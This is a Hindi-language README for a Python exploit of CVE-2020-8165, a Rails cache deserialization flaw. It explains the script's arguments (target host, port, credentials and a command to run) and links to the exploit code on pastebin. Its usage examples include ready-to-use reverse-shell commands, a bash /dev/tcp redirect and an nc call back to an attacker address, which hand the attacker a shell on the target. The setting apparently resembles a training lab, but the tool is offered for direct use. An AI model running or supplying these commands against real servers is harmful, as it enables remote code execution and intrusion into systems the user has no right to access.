CVE-2020-8165 Python एक्सप्लॉइट

यह Python3 का उपयोग करके CVE-2020-8165 का शोषण करने के लिए कोड है। यह एक्सप्लॉइट rails < 5.2.4.3, rails < 6.0.3.1 के साथ काम करता है। एक्सप्लॉइट एक हमलावर को MemCacheStore और RedisCacheStore में उपयोगकर्ता-प्रदत्त ऑब्जेक्ट्स को unmarshal करने की अनुमति देता है। यह एक्सप्लॉइट कोड ArgParse का उपयोग करता है ताकि उपयोगकर्ता बहुत आसानी से इस कमजोरी का शोषण कर सके।

उपयोग

इस एक्सप्लॉइट के लिए पाँच तर्क हैं:

• rHost - रिमोट, लक्ष्य, होस्ट का IP पता
• rPort - रिमोट, लक्ष्य, होस्ट का पोर्ट नंबर जिस पर Rails चल रहा है
• email - वह ईमेल जो सेवा में लॉगिन करने के लिए उपयोग किया जाता है
• password - सेवा में लॉगिन करने के लिए खाते का पासवर्ड
• cmd - चलाने के लिए कमांड, रिक्त स्थानों को ध्यान में रखते हुए कोट्स में

उदाहरण:

• python3 exploit.py 10.10.10.X 8080 [email protected] password "bash -c 'bash -i >& /dev/tcp/10.10.X.X/8989 0>&1'"
• python3 exploit.py 10.10.10.X 8080 [email protected] password "nc 10.10.X.X 8989"

मुख्य श्रेय

मूल CVE विवरण: https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2020-8165 Pastebin एक्सप्लॉइट कोड जिसे मैंने सुधारा और arg parse जोड़ा: https://pastebin.com/jpHpdBTk